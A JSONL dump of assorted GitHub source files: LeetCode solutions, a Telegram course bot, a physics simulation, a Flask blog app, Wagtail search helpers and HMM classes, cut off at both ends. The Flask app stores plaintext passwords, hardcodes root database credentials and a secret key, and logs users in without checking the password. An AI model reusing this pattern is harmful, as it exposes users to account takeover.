0)\n\n\nif __name__ == '__main__':\n # 4\n print(Solution().numberWays([[3, 5, 1], [3, 5]]))\n # 1\n print(Solution().numberWays([[3, 4], [4, 5], [5]]))\n # 24\n print(Solution().numberWays([[1, 2, 3, 4], [1, 2, 3, 4], [1, 2, 3, 4], [1, 2, 3, 4]]))\n # 111\n print(Solution().numberWays([[1, 2, 3], [2, 3, 5, 6], [1, 3, 7, 9], [1, 8, 9], [2, 5, 7]]))\n","repo_name":"adanzl/leetcode-practice","sub_path":"py/q1400/Q1434.py","file_name":"Q1434.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71903416793","text":"import json\n\ndef parse_profile(data:dict):\n json_string = json.dumps(data, indent=4)\n return json_string\n\nif __name__ == '__main__':\n with open('/root/hongyu/customersupportgpt/quivr_project/backend/core/tests/test_files/test_linkedin_proxycurl.json', 'r') as file:\n data = json.load(file)\n \n parsed_text = parse_profile(data)\n print(parsed_text)","repo_name":"AI-General/ExpertGPT","sub_path":"expertgpt/backend/core/crawl/parse_profile.py","file_name":"parse_profile.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"4033330629","text":"import re\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup, Update\nfrom telegram.ext import(\n CallbackContext, \n Updater,\n PicklePersistence, \n CommandHandler, \n MessageHandler,\n Filters,\n CallbackQueryHandler\n)\nfrom cred import TOKEN\nfrom menu import main_menu_keyboard, cursy_menu_keyboard\nfrom key_buttons import tele_button, button\n\ndef start(update: Update, context: CallbackContext):\n context.bot.send_sticker(\n chat_id=update.effective_chat.id,\n sticker='CAACAgQAAxkBAAEFNm9ixrOZAQRB8_NpRbfczYT-pfa6AwAC0gwAAvEHOVD6WOBBBtWRtSkE'\n ) \n update.message.reply_text(\n \"Добро пожаловать, {username}\".format(\n username=update.effective_user.first_name \\\n if update.effective_user.first_name is not None \\\n else update.effective_user.username\n ),\n reply_markup=main_menu_keyboard()\n )\n\nCOURSE_REGEX = r\"(?=(\"+(tele_button[1])+r\"))\"\nPYTHON_KEY = r\"(?=(\"+(button[0])+r\"))\"\nZAPIS = r\"(?=(\"+(tele_button[3])+r\"))\"\nLOCATI = r\"(?=(\"+(tele_button[2])+r\"))\"\n\n\n\ndef zapisat(update: Update, context:CallbackContext):\n z = update.message.text\n print(z[:6])\n if z[:6] == 'Запись':\n context.bot.send_message(\n chat_id = '@ogogkiwibanana', \n text = z\n )\n\n\ndef zapis(update: Update, context: CallbackContext):\n \n context.bot.send_sticker(\n chat_id=update.effective_chat.id,\n sticker='CAACAgQAAxkBAAEFNndixrOmKj6I6o0UiD1vc8YLwEyL0QACkAoAAroh6FO__6iiw4cJkSkE'\n )\n info=re.match(ZAPIS, update.message.text)\n update.message.reply_text(\n text = \"\"\"\n1. Напишите сообщение с \"Запись: \" и ваше имя.\n2. Ваш номер телефона\n3. Выберите время удобный вам.\n! После отправки всех заполненных бланок Админ вам позвонит.:)\n\"\"\"\n ) \n\n\n\n\n\ndef resive_curse_menu(update: Update, context: CallbackContext):\n context.bot.send_sticker(\n chat_id=update.effective_chat.id,\n sticker='CAACAgQAAxkBAAEFNnFixrOeTgABumeH3YdY2FAUUld12LcAAukKAAKMUelTglLNTjhbwHYpBA'\n )\n update.message.reply_text(\n 'Выберите курс',\n reply_markup=cursy_menu_keyboard()\n )\n\ndef resive_info(update: Update, context: CallbackContext):\n context.bot.send_sticker(\n chat_id=update.effective_chat.id,\n sticker='CAACAgQAAxkBAAEFNohixrQLEnqzRXWdq83hIfkLsBy15QACZxAAAhTXgVDxNduO5gS_DykE'\n )\n msg = context.bot.send_message(\n update.effective_chat.id,\n text = 'Location of OGOGO'\n )\n update.message.reply_location(\n # 42.873686482321595, 74.61985231003044\n longitude=74.61985231003044,\n latitude=42.873686482321595,\n reply_to_message_id=msg.message_id\n )\n\n\n\n\ndef python_inline_menu(update: Update, context: CallbackContext):\n keyboard = [\n [\n InlineKeyboardButton('Mentor', callback_data='python_mentor'),\n InlineKeyboardButton('Lesson', callback_data='python_lesson'),\n ],\n [InlineKeyboardButton('Price', callback_data='python_price')]\n ]\n reply_markup = InlineKeyboardMarkup(keyboard)\n update.message.reply_text(\n \"Выбери опцию\",\n reply_markup=reply_markup\n )\n\n\ndef button(update: Update, context: CallbackContext):\n query = update.callback_query\n if query.data == 'python_mentor':\n context.bot.sendPhoto(\n update.effective_chat.id,\n photo =open('img/umar.jfif', 'rb'),\n )\n if query.data == 'python_mentor':\n context.bot.sendPhoto(\n update.effective_chat.id,\n photo =open('img/umar.jfif', 'rb'),\n caption=\"\"\"\nn name: Umar\nage: 21\nexpierence: 5 years\nwork place: Tesla, Google, Apple \n \"\"\"\n )\n \n if query.data == 'python_lesson':\n context.bot.send_message(\n update.effective_chat.id,\n text = \"\"\"\n \nРасписание:\nКаждый день\n567890-=098765trchjbknlmm;kvdc\n\n \"\"\"\n\n )\n if query.data == 'python_price':\n context.bot.send_message(\n update.effective_chat.id,\n text = \"\"\"\n16000 som per month\n \"\"\"\n )\n\n\n\n\nupdater = Updater(TOKEN,persistence=PicklePersistence(filename='bot_data') )\nupdater.dispatcher.add_handler(CommandHandler('start',start))\n\nupdater.dispatcher.add_handler(MessageHandler(\n Filters.regex(COURSE_REGEX), \n resive_curse_menu\n))\n\nupdater.dispatcher.add_handler(MessageHandler(\n Filters.regex(PYTHON_KEY), \n python_inline_menu\n))\nupdater.dispatcher.add_handler(MessageHandler(\n Filters.regex(LOCATI), \n resive_info\n))\n\nupdater.dispatcher.add_handler(MessageHandler(\n Filters.regex(ZAPIS),\n zapis\n ))\n\nupdater.dispatcher.add_handler(MessageHandler(\n Filters.text,\n zapisat\n ))\n\n\n\nupdater.dispatcher.add_handler(CallbackQueryHandler(button))\nupdater.start_polling()\nupdater.idle()\n","repo_name":"LokiFiasko/Loki","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"832316801","text":"\n# Program som regner ut bevegelen til en legeme som beveger seg med luftmotstand\n# Positivt x retning er til høyre og positiv y retning er oppover\n\n\n\n# The function you can import\n\ndef two_dim(h_0: float, s_y: float, v0: float, degrees: float, luft: bool, double: bool):\n\n '''\n A function that plots the movement of an object moving in two dimensions, \\r\n it uses matplotlib.pyplot as plt and math as math to do the calculations. \n\n The functions plots in degrees, and the speed is following the angle. \\r\n h_0 adds a starting height for the movement, luft determains if there \\r\n is wind resistance and double if you want to plot with and without \\r\n air resistance on a single corrdinate system. \n\n Note: for at double works, luft also must be true. \n\n Example: two_dim(10, 0, 25, 30, True, False), for a plot with only air \\r\n resistance.\n\n Example: two_dim(10, 0, 25, 30, True, True), for a plot with and without \\r\n air resistance.\n '''\n\n # Imports\n import matplotlib.pyplot as plt\n import math as math\n import numpy as np\n from numpy.linalg import norm\n\n # Values\n g = 9.81 #(m/s^2)\n dt = 0.001 # tidssteg(s)\n\n h_2 = h_0\n h_0_arr = np.array([0, h_0])\n\n # lists\n x_l = []\n y_l = []\n x_l_2 = []\n y_l_2 = []\n v_l = []\n a_l = []\n t_l = []\n\n # Speed\n v_y = math.sin(degrees * math.pi / 180) * v0\n v_x = math.cos(degrees * math.pi / 180) * v0 \n v_0 = np.array([v_x, v_y])\n v = v_0\n\n # A function that calculates and plots the movement with air resistance\n\n def luft_f(v, h_0):\n # k, m = map(float, input('Enter the wind resistance variable and weight in kg = ').split()) # luftmotstandkoeffisient + #(kg)\n k = float(input('What is the air resistance koeffisient: '))\n m = float(input('What is the weight: '))\n # k = 0.0011\n # m = 0.06\n s = 0\n t = 0\n s_0 = 0\n\n # The while knot that calculates everything\n while h_0[1] >= s_0 or h_0[0] <= 0:\n L = -k*norm(v)**2*(v/norm(v)) # resistance som alltid peker motsatt retning av fart\n G = np.array([0,-m*g])\n sumF = G + L # sum Force\n a = sumF / m # N2L:\n dh = v*dt # change in s\n dv = a * dt\n \n # Put everything in lists\n t_l.append(t)\n x_l.append(h_0[0])\n y_l.append(h_0[1])\n v_l.append(norm(v))\n a_l.append(norm(a))\n \n h_0 = h_0 + dh\n v = v + dv\n t += dt\n\n if h_0[1] < s_y and dh[1] <= 0:\n s_0 = s_y\n\n # Plots the function with air resistance\n\n plt.figure(1)\n plt.plot(x_l, y_l, 'b-')\n plt.xlabel ('length (m)')\n plt.ylabel ('height (m)')\n plt.grid(1)\n plt.title('Movement')\n\n print(h_0[0])\n\n # plt.figure(2) #setter inn en fartsgraf\n # plt.plot(t_l, v_l, 'b-')\n # #sette navn på akser\n # plt.xlabel ('time (s)')\n # plt.ylabel ('speed (m/s)')\n # plt.grid()\n # plt.title('Speed')\n\n # plt.figure(3) #setter inn en akselerasjonsgraf\n # plt.plot(t_l, a_l)\n # #sette navn på akser\n # plt.xlabel ('time (s)')\n # plt.ylabel ('acceleration (m/s^2)')\n # plt.grid()\n # plt.title('Acceleration')\n\n # A function that calculates and plots without air resistance\n\n def ligninger(): \n t_0 = 0 \n s_0 = 0\n\n # A function for the x-values \n\n def x(t_2):\n return v_x * t_2\n\n # A function for the y-values \n\n def y(t_2):\n return -((1/2)*g)*t_2**2 + v_y*t_2 + h_2\n\n # Adds values to a list until the y-value == 0\n\n while y(t_0)>= s_0:\n x_l_2.append(x(t_0))\n y_l_2.append(y(t_0))\n\n t_0 += dt\n\n if y(t_0) < s_y and y(t_0)-y(t_0 - 1) <= 0:\n s_0 = s_y\n\n print(x(t_0))\n # Plots the movement without air resistance\n\n plt.figure(1)\n plt.plot(x_l_2, y_l_2, 'r-')\n plt.xlabel ('length (m)')\n plt.ylabel ('height (m)')\n plt.grid(1)\n plt.title('Movement')\n\n # Simple code for luft and double chooses\n\n if luft:\n luft_f(v, h_0_arr)\n\n if double:\n ligninger()\n\n else:\n ligninger()\n\n plt.show()\n\n# Testing\n\ndef main():\n two_dim(2,0,42,45,False,False)\n\n# Check if main\nif __name__ == '__main__':\n # This code won't run if this file is imported.\n main()","repo_name":"art-is-0/physics-repo","sub_path":"Normal/Luftmotstand_2_dimensjoner.py","file_name":"Luftmotstand_2_dimensjoner.py","file_ext":"py","file_size_in_byte":4616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"1615862788","text":"\"\"\"\r\nCreated by: Muhammad Farooq Memon\r\nRole: Student\r\nInstitute: Union College\r\n\"\"\"\r\ndef add( num1, num2):\r\n \"\"\"\r\n the following program is a calculator that only focuses on the addition\r\n :param num1: any number that the user want to include in addition\r\n :param num2: other number that the user want to include in addition\r\n :return: returns the total sum of all the entered numbers\r\n \"\"\"\r\n sum = float(num1) + float(num2)\r\n end_addition = False\r\n while end_addition is not True:\r\n is_another_number = input(\"Do you want to add another number\\nPress 1 if 'YES' and any other number if 'NO'\\n \")\r\n\r\n if float(is_another_number) != 1:\r\n end_addition = True\r\n else:\r\n print(\"Total is: \", sum)\r\n add_num = (input(\"Please enter another number that you want to add: \"))\r\n sum+=float(add_num)\r\n\r\n print(\"Total of all the numbers: \",sum)\r\n\r\n\r\nnum1 = input(\"Enter the number you want to add: \")\r\nnum2 = input(\"Enter the number you want to add to the previous one:\")\r\n\r\nadd(num1,num2)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print(\"the code wil be executed twice since their is one comand below and the other one after the code is executed\")\r\n num1 = input(\"Enter the number you want to add: \")\r\n num2 = input(\"Enter the number you want to add to the previous one:\")\r\n add(num1, num2)\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"MFarooq07/My-programes","sub_path":"AdditionCalculator.py","file_name":"AdditionCalculator.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6759293242","text":"from flask_sqlalchemy import SQLAlchemy\nfrom flask import jsonify\nfrom flask_migrate import Migrate\nfrom flask import render_template\nfrom flask import Flask, session, redirect, url_for, request\nimport datetime\nfrom flask_login import LoginManager,login_user,UserMixin\nfrom sqlalchemy import create_engine\nengine = create_engine('mysql://root:root@localhost/postdata', echo=True)\nfrom sqlalchemy.orm import sessionmaker\nSession = sessionmaker(bind=engine)\napp = Flask(__name__)\napp.secret_key = b'_5#y2L\"F4Q8z\\n\\xec]/'\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"mysql://root:root@localhost/postdata\"\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.query.get(user_id)\n\nclass User(db.Model,UserMixin):\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(80))\n email = db.Column(db.String(120))\n password = db.Column(db.String(80))\n created_at = db.Column(db.TIMESTAMP())\n posts = db.relationship(\"Post\", backref='user',lazy=True)\n comments = db.relationship(\"Comment\", backref='user',lazy=True)\n replies = db.relationship(\"Reply\", backref='user',lazy=True)\n\n\nclass Post(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer,db.ForeignKey('user.id'),nullable=False)\n title = db.Column(db.String(11))\n body = db.Column(db.Text(120))\n created_at = db.Column(db.TIMESTAMP())\n comments=db.relationship(\"Comment\",backref=\"post\",lazy=True)\n\nclass Comment(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n post_id = db.Column(db.Integer,db.ForeignKey(\"post.id\"),nullable=False)\n user_id = db.Column(db.Integer,db.ForeignKey('user.id'),nullable=False)\n body = db.Column(db.Text(80))\n created_at = db.Column(db.TIMESTAMP())\n replies=db.relationship(\"Reply\",backref=\"comment\",lazy=True)\n @property\n def serialize(self):\n return {\n 'id' : self.id,\n 'modified_at': self.created_at,\n 'user_id' : self.user_id,\n 'body':self.body,\n 'post_id':self.post_id,\n }\n\nclass Reply(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer,db.ForeignKey('user.id'),nullable=False)\n comment_id = db.Column(db.Integer,db.ForeignKey('comment.id'),nullable=False)\n body = db.Column(db.Text(80))\n created_at = db.Column(db.TIMESTAMP())\n @property\n def serialize(self):\n return {\n 'id' : self.id,\n 'created_at': self.created_at,\n 'user_id' : self.user_id,\n 'body':self.body,\n 'comment_id':self.comment_id,\n }\n\n\nfrom app import User\n\n@app.route(\"/register\",methods=('GET','POST'))\ndef register():\n ses = Session()\n if request.method==\"POST\":\n username=request.form['username']\n email=request.form['email']\n password=request.form['password']\n confirm_password=request.form['password_confirm']\n currentDT = datetime.datetime.now()\n ins = User(username=username,email=email,password=password,created_at=currentDT)\n db.session.add(ins)\n db.session.commit()\n ses.close()\n return render_template('register.html')\n\n@app.route(\"/\",methods=('GET','POST'))\ndef main_view():\n\treturn render_template('main_page.html',result=\"hey\")\n\n@app.route(\"/login\",methods=('GET','POST'))\ndef login():\n ses = Session()\n if request.method==\"POST\":\n post=ses.query(Post).all()\n username=request.form['username']\n password=request.form['password']\n our_user = ses.query(User).filter_by(username=username).first()\n ses.close()\n if our_user is not None:\n login_user(our_user)\n return render_template('index.html',result=post)\n return render_template('login.html')\n\n@app.route(\"/list\",methods=('GET','POST'))\ndef list():\n ses = Session()\n post = ses.query(Post).all()\n if request.method==\"POST\":\n title=request.form['title']\n post_content=request.form['post_content']\n user_id=request.form['user_id']\n currentDT = datetime.datetime.now()\n ins = Post(user_id=user_id,title=title,body=post_content,created_at=currentDT)\n db.session.add(ins)\n db.session.commit()\n post = ses.query(Post).all()\n ses.close()\n return render_template(\"index.html\",result=post)\n\n@app.route(\"/detail/\",methods=('GET','POST'))\ndef detail(id):\n ses = Session()\n post=ses.query(Post).filter_by(id=id).first()\n ses.close()\n return render_template(\"detail.html\",result=post)\n\n@app.route(\"/create\",methods=('GET','POST'))\ndef create():\n user_id=request.form['user_id']\n post_id=request.form['post_id']\n comment_text=request.form['comment_text']\n currentDT = datetime.datetime.now()\n ins = Comment(user_id=user_id,post_id=post_id,body=comment_text,created_at=currentDT)\n ses = Session()\n db.session.add(ins)\n db.session.commit()\n comments=ses.query(Comment).filter_by(post_id=post_id).all()\n ses.close()\n if comments is not None: \n list=[x.serialize for x in comments]\n return jsonify(\n result=list\n )\n return render_template('detail.html')\n\n@app.route(\"/comment\",methods=('GET','POST'))\ndef comment():\n ses = Session()\n post_id=request.form['post_id']\n comments=ses.query(Comment).filter_by(post_id=post_id).all()\n user=[]\n for x in comments:\n user_id=x.serialize['user_id']\n user.append(ses.query(User).filter_by(id=user_id).first().username)\n # names=[x.serialize for x in comments]\n if comments is not None: \n list=[x.serialize for x in comments]\n return jsonify(\n result=[list,user]\n )\n return render_template('detail.html')\n\n@app.route(\"/reply\",methods=('GET','POST'))\ndef reply():\n comment_id=request.form['comment_id']\n reply_content=request.form['reply_content']\n user_id=request.form['current_user']\n currentDT = datetime.datetime.now()\n ses = Session()\n reply=Reply(comment_id=comment_id,user_id=user_id,body=reply_content,created_at=currentDT)\n ses.add(reply)\n ses.commit()\n reply=ses.query(Reply).order_by(Reply.id.desc()).filter_by(comment_id=comment_id).first()\n user_pk=ses.query(Reply).order_by(Reply.id.desc()).filter_by(comment_id=comment_id).first().user_id\n user=ses.query(User).filter_by(id=user_pk).first().username\n ses.close()\n if reply is not None:\n list=reply.serialize\n return jsonify(\n result=[list,user]\n )\n return render_template('detail.html')\n\n@app.route(\"/replyall\",methods=('GET','POST'))\ndef replyall():\n comment_id=request.form['comment_id']\n ses = Session()\n reply=ses.query(Reply).filter_by(comment_id=comment_id).all()\n user=[]\n for x in reply:\n user_id=x.serialize['user_id']\n print(user_id)\n user.append(ses.query(User).filter_by(id=user_id).first().username)\n ses.close()\n if reply is not None:\n list=[x.serialize for x in reply]\n return jsonify(\n result=[list,user]\n )\n return render_template('detail.html')\n\n\n\nif __name__ == '__main__':\n app.run()","repo_name":"saurabhsuryawanshi/blogapp","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10764289166","text":"import sys, math\ninput = sys.stdin.readline\n\nfor i in range(int(input())):\n s = input()\n rev = s[::-1]\n if s == rev:\n ans = \"Yes\"\n else:\n ans = \"No\"\n print(f\"Case {i+1}: {ans}\")\n","repo_name":"radoansharkar/Competitive-Programming","sub_path":"LightOJ/1225 - Palindromic Numbers (II).py","file_name":"1225 - Palindromic Numbers (II).py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"39000578755","text":"from random import shuffle\n\n\ndef random_split(X, y=None, frac=0.8):\n \"\"\"Random split of data\n\n Parameters\n ----------\n X\n Inputs\n y, optional\n Outputs, by default None\n frac, optional\n Fraction of data to use as training data, by default 0.8\n \"\"\"\n idx = list(range(len(X)))\n\n if y is not None:\n assert len(y) == len(X)\n\n shuffle(idx)\n n_train = int(frac * len(X))\n\n idx_train, idx_test = idx[:n_train], idx[n_train:]\n\n if y is not None:\n return X[idx_train], y[idx_train], X[idx_test], y[idx_test]\n else:\n return X[idx_train], X[idx_test]\n","repo_name":"tianyu-lu/protein-design","sub_path":"protein_design/splitter.py","file_name":"splitter.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"6756019509","text":"from wagtail.wagtailcore.models import PageViewRestriction, Page\n\nfrom hra.standardpage.models import StandardPage\n\n\ndef exclude_invisible_pages(request, pages):\n # Get list of pages that are restricted to this user\n restricted_pages = [\n restriction.page\n for restriction in PageViewRestriction.objects.all().select_related('page')\n if not restriction.accept_request(request)\n ]\n\n # Exclude the restricted pages and their descendants from the queryset\n for restricted_page in restricted_pages:\n pages = pages.not_descendant_of(restricted_page, inclusive=True)\n\n return pages\n\n\ndef get_search_queryset(request, page_types=None):\n \"\"\"\n Returns a QuerySet for further search.\n We need to keep in mind, that we must not perform any\n ORM operations that Wagtail's QuerySet search API doesn't support.\n \"\"\"\n # Allow to search only among live pages\n queryset = Page.objects.live().descendant_of(request.site.root_page)\n\n # Exclude pages that the user doesn't have permission to see\n queryset = exclude_invisible_pages(request, queryset)\n\n # We need to search among pages with specified page types.\n #\n # Unfortunately, it's not possible (at the moment)\n # to filter search results in ElasticSearch using queryset API,\n # so we need to get PKs of all pages of a specific types\n # and pass them into queryset for further search.\n if page_types:\n standard_pages = StandardPage.objects.filter(page_type_relationships__page_type__in=page_types)\n\n queryset = queryset.filter(pk__in=list(standard_pages.values_list('pk', flat=True)))\n\n return queryset\n","repo_name":"abadger1406/hra","sub_path":"hra/search/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"41770167876","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\n## data reading\na=open('/Users/zhangqihang/Downloads/data/Part1_training_data.txt',\"r\")\ndata=a.read()\ndata_list=data.split()\ndata_value_list=[]\nfor i in data_list:\n data_value_list.append(eval(i))\n#print(data_value_list)\nb=open('/Users/zhangqihang/Downloads/data/Part1_testing_data.txt',\"r\")\ndata_of_reality=b.read()\ndata_real_list=data_of_reality.split()\ndata_real_value_list=[]\nfor i in data_real_list:\n data_real_value_list.append(eval(i))\n#print(data_real_value_list)\n#print(len(data_real_value_list))\n\n\n\ndef get_the_training(N):\n row_of_matrix_x_not_t=[]\n all_rows_for_training=[]\n row_of_matrix_x_t=[]\n for i in data_value_list[N::]:\n row_of_matrix_x_not_t=[]\n for j in data_value_list[data_value_list.index(i)-N:data_value_list.index(i):]:\n row_of_matrix_x_not_t.append(j)\n row_of_matrix_x_t.append(i)\n all_rows_for_training.append(row_of_matrix_x_not_t)\n X=np.mat(all_rows_for_training)\n Y=np.mat(row_of_matrix_x_t)\n return X,Y\n\n\n\n#N=5\n#X,Y=get_the_training(N)\ndef get_cofficient_matrix_B(X,Y):\n #X_inverse=X.I\n _X=X.transpose()\n Y=Y.transpose()\n #X_inverse=X_inverse.transpose()\n B=np.dot(_X,X).I\n #print(B)\n C=np.dot(B,_X)\n #print(C)\n #print(Y)\n D=np.dot(C,Y)\n #print(D)\n return D\n\n\n#D=get_cofficient_matrix_B(X,Y)\n#print(B)\n#print(D)\ndef start_game(X,N,D):\n final_game_answer=[]\n for i in range(100):\n matrix_needed=X[:len(X)-2:-1]\n Answer=np.dot(matrix_needed,D)\n #print(matrix_needed)\n mid_matrix=X\n #print(type(mid_matrix))\n #print(X)\n mid_matrix=mid_matrix[:len(mid_matrix)-2:-1]\n #print(mid_matrix)\n for j in range(N):\n if j!=N-1:\n mid_matrix[0,j]=mid_matrix[0,j+1]\n else:\n mid_matrix[0,j]=Answer\n #print(mid_matrix)\n #mid_matrix[0].expend(Answer)\n #mid_matrix[1].pop(0)\n #mid_matrix[1].append(float(Answer))\n X=np.vstack((X,mid_matrix))\n final_game_answer.append(float(Answer))\n #print(final_game_answer)\n #print(type(final_game_answer))\n #print(len(final_game_answer))\n #print(Answer)\n return final_game_answer,X\n#H=[]\n\n\n#final_game_answer,X=start_game(X,N,D)\n\n#print(len(final_game_answer))\ndef caculate(final_game_answer,data_real_value_list):\n MSE=0\n for i in range(100):\n MSE=MSE+(final_game_answer[i]-data_real_value_list[i])**2\n MSE=MSE/100\n return MSE\n\n#caculate(final_game_answer,data_real_value_list)\n#print(D[::])\n#print(H[:len(H)-N-1:-1])\n\n\n\ndef main():\n global data_value_list,data_real_value_list\n MSE_list=[]\n for N in range(1,101):\n #print(N)\n X,Y=get_the_training(N)\n D=get_cofficient_matrix_B(X,Y)\n final_game_answer,X=start_game(X,N,D)\n MSE_for_N=caculate(final_game_answer,data_real_value_list)\n #print(MSE_for_N)\n #print(type(MSE_list))\n MSE_list.append([MSE_for_N,N])\n #print(type(MSE_list))\n MSE_list.sort(key=lambda x: x[0])\n if N==44:\n \n x=np.arange(201,301)\n y = np.array(final_game_answer)[x-201]\n x=np.arange(201,301)\n y2 = np.array(data_real_value_list)[x-201]\n #y2 = data_real_value_list[i-201]\n #plt.title(\"sine wave form\") \n #plt.plot(x, y,y2) \n #plt.show()\n\n\n\n #x = np.linspace(0,2,100)\n fig,ax = plt.subplots()\n ax.plot(x,y,label='Prediction')\n ax.plot(x,y2,label='Realitly')\n ax.set_xlabel('time')\n ax.set_ylabel('price')\n ax.set_title('simple plot for N=44')\n ax.legend()\n plt.show()\n \n\n print(MSE_list)\n\n\n\nmain()\n\n\n\n\n\n\n","repo_name":"Zhang-Setsail/Matrix_Regression","sub_path":"Code_for_Project.py","file_name":"Code_for_Project.py","file_ext":"py","file_size_in_byte":3839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28452895165","text":"'''\n一只青蛙一次可以跳上1级台阶,也可以跳上2级台阶。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。\n答案需要取模 1e9+7(1000000007),如计算初始结果为:1000000008,请返回 1。\n'''\n\n\nclass Solution:\n def numWays(self, n: int) -> int:\n front = post = 1\n for _ in range(n):\n front, post = post, (front + post) % int(1e9 + 7)\n return front\n\n\nif __name__ == '__main__':\n s = Solution()\n while 1:\n n = int(input())\n print(s.numWays(n))\n","repo_name":"ykf173/coding_everyday","sub_path":"剑指offer/动态规划/10-2.py","file_name":"10-2.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"14052402593","text":"from abc import ABC, abstractmethod\nfrom dataclasses import dataclass\nfrom typing import Sequence, Tuple\n\nfrom nmm import HMM, LPROB_ZERO, CResults, CSequence, CState, MuteState, Path\n\n\n@dataclass\nclass Transitions:\n MM: float = LPROB_ZERO\n MI: float = LPROB_ZERO\n MD: float = LPROB_ZERO\n IM: float = LPROB_ZERO\n II: float = LPROB_ZERO\n DM: float = LPROB_ZERO\n DD: float = LPROB_ZERO\n\n def normalize(self):\n from numpy import logaddexp\n\n m_norm: float = logaddexp(logaddexp(self.MM, self.MI), self.MD)\n self.MM -= m_norm\n self.MI -= m_norm\n self.MD -= m_norm\n\n i_norm: float = logaddexp(self.IM, self.II)\n self.IM -= i_norm\n self.II -= i_norm\n\n d_norm: float = logaddexp(self.DM, self.DD)\n self.DM -= d_norm\n self.DD -= d_norm\n\n\n@dataclass\nclass SpecialTransitions:\n NN: float = 0.0\n NB: float = 0.0\n EC: float = 0.0\n CC: float = 0.0\n CT: float = 0.0\n EJ: float = 0.0\n JJ: float = 0.0\n JB: float = 0.0\n RR: float = 0.0\n BM: float = 0.0\n ME: float = 0.0\n\n\nclass Node(ABC):\n @property\n @abstractmethod\n def M(self) -> CState:\n raise NotImplementedError()\n\n @property\n @abstractmethod\n def I(self) -> CState:\n raise NotImplementedError()\n\n @property\n @abstractmethod\n def D(self) -> CState:\n raise NotImplementedError()\n\n\nclass SpecialNode(ABC):\n @property\n @abstractmethod\n def S(self) -> MuteState:\n raise NotImplementedError()\n\n @property\n @abstractmethod\n def N(self) -> CState:\n raise NotImplementedError()\n\n @property\n @abstractmethod\n def B(self) -> MuteState:\n raise NotImplementedError()\n\n @property\n @abstractmethod\n def E(self) -> MuteState:\n raise NotImplementedError()\n\n @property\n @abstractmethod\n def J(self) -> CState:\n raise NotImplementedError()\n\n @property\n @abstractmethod\n def C(self) -> CState:\n raise NotImplementedError()\n\n @property\n @abstractmethod\n def T(self) -> MuteState:\n raise NotImplementedError()\n\n\nclass NullModel(ABC):\n def __init__(self, state: CState):\n self._hmm = HMM(state.alphabet)\n self._hmm.add_state(state, 0.0)\n\n @property\n @abstractmethod\n def state(self) -> CState:\n raise NotImplementedError()\n\n def set_transition(self, lprob: float):\n self._hmm.set_transition(self.state, self.state, lprob)\n\n def likelihood(self, sequence: CSequence):\n path = Path([(self.state, 1) for i in range(sequence.length)])\n return self._hmm.likelihood(sequence, path)\n\n\nclass AltModel(ABC):\n def __init__(\n self,\n special_node: SpecialNode,\n core_nodes_trans: Sequence[Tuple[Node, Transitions]],\n ):\n hmm = HMM(special_node.S.alphabet)\n hmm.add_state(special_node.S, 0.0)\n hmm.add_state(special_node.N)\n hmm.add_state(special_node.B)\n hmm.add_state(special_node.E)\n hmm.add_state(special_node.J)\n hmm.add_state(special_node.C)\n hmm.add_state(special_node.T)\n\n self._special_transitions = SpecialTransitions()\n\n if len(core_nodes_trans) > 0:\n node, trans = core_nodes_trans[0]\n hmm.add_state(node.M)\n hmm.add_state(node.I)\n hmm.add_state(node.D)\n prev = node\n\n for node, trans in core_nodes_trans[1:]:\n hmm.add_state(node.M)\n hmm.add_state(node.I)\n hmm.add_state(node.D)\n\n hmm.set_transition(prev.M, node.M, trans.MM)\n hmm.set_transition(prev.M, prev.I, trans.MI)\n hmm.set_transition(prev.M, node.D, trans.MD)\n hmm.set_transition(prev.I, node.M, trans.IM)\n hmm.set_transition(prev.I, prev.I, trans.II)\n hmm.set_transition(prev.D, node.M, trans.DM)\n hmm.set_transition(prev.D, node.D, trans.DD)\n prev = node\n\n self._hmm = hmm\n\n def set_transition(self, a: CState, b: CState, lprob: float):\n self._hmm.set_transition(a, b, lprob)\n\n @abstractmethod\n def core_nodes(self) -> Sequence[Node]:\n raise NotImplementedError()\n\n @property\n @abstractmethod\n def special_node(self) -> SpecialNode:\n raise NotImplementedError()\n\n @property\n def special_transitions(self) -> SpecialTransitions:\n return self._special_transitions\n\n @property\n @abstractmethod\n def 